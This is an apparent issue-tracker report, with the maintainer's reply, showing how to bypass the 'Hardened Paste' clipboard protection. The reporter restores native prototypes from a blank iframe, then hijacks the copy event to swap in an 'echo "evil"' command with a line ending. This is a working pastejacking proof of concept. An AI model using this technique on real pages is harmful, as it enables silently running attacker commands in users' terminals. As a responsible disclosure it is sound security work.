Bypasses via iFrames

[matt-]

document.addEventListener("DOMContentLoaded", function(event) {

    // add a new iframe and get its window object (but don't load content out set source.. )
    // we could also load a blank document on the same domain with: ifrm.setAttribute("sandbox", 'allow-same-origin');
    var win = document.body.appendChild(document.createElement("IFRAME")).contentWindow;

    // reset addEventListener
    EventTarget.prototype.addEventListener = function(type, listener, useCapture) {
        return win.EventTarget.prototype.addEventListener.call(this, type, listener, useCapture);
    }

    // reset setData
    DataTransfer.prototype.setData = function(format, data){
        console.log(format, data);
        return win.DataTransfer.prototype.setData.call(this, format, data);
    }
    // do the same with HTMLDocument.prototype.execCommand if you need it.. 

    // do normal bad stuff.. 
    document.oncopy = function(e){
        e.clipboardData.setData('text/plain', 'echo "evil"\r\n');
        e.preventDefault();
    };
});

[oldestlivingboy]

Thank you for the report – we’ve retired Hardened Paste, but the code remains available here.